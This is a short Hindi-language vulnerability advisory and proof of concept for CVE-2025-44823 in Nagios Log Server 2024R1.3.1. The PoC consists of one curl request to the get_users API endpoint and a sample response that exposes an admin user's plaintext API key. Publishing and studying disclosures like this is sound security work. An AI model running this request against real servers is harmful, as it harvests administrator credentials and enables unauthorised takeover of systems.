Nagios Log Server 2024R1.3.1 में प्रमाणित एपीआई कुंजी एक्सपोज़र

▶️ PoC डेमो

CVE पहचानकर्ता: CVE-2025-44823

दिनांक: 2025-04-02

लेखक: Alex Tisdale, Seth Kraft

विक्रेता होमपेज: https://www.nagios.com/

विक्रेता परिवर्तन लॉग: https://www.nagios.com/changelog/#log-server

सॉफ्टवेयर लिंक: https://assets.nagios.com/downloads/nagios-log-server/versions.php

संस्करण: 2024R1.3.1 और नीचे

पर परीक्षण किया गया: Nagios Log Server 2024R1.3.1 (डिफ़ॉल्ट कॉन्फ़िगरेशन, Ubuntu 20.04)

CWE: CWE-497

CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

प्राधिकरण

केवल अनुसंधान और अधिकृत परीक्षण के लिए। कृपया अनुमति के बिना सिस्टम के खिलाफ उपयोग न करें।

विवरण

Nagios Log Server 2024R1.3.1 में एक API-स्तर की कमजोरी किसी भी उपयोगकर्ता को, जिसके पास वैध API टोकन है, उपयोगकर्ता खातों की पूरी सूची और उनके सादे पाठ में API कुंजियाँ प्राप्त करने की अनुमति देती है, जिसमें प्रशासक प्रमाणपत्र शामिल हैं। यह दोष उपयोगकर्ता गणना, विशेषाधिकार वृद्धि, और उजागर टोकन के अनधिकृत उपयोग के माध्यम से पूर्ण सिस्टम समझौता सक्षम बनाता है।

PoC

चरण 1: कमजोर एंडपॉइंट तक पहुँचें

curl -X GET "http://<target-ip>/nagioslogserver/index.php/api/system/get_users?token=<valid_token>"

नमूना प्रतिक्रिया

[
  {
    "name": "devadmin",
    "username": "devadmin",
    "email": "[email protected]",
    "apikey": "dcaa1693a79d651ebc29d45c879b3fbbc730d2de",
    "auth_type": "admin",
    ...
  }
]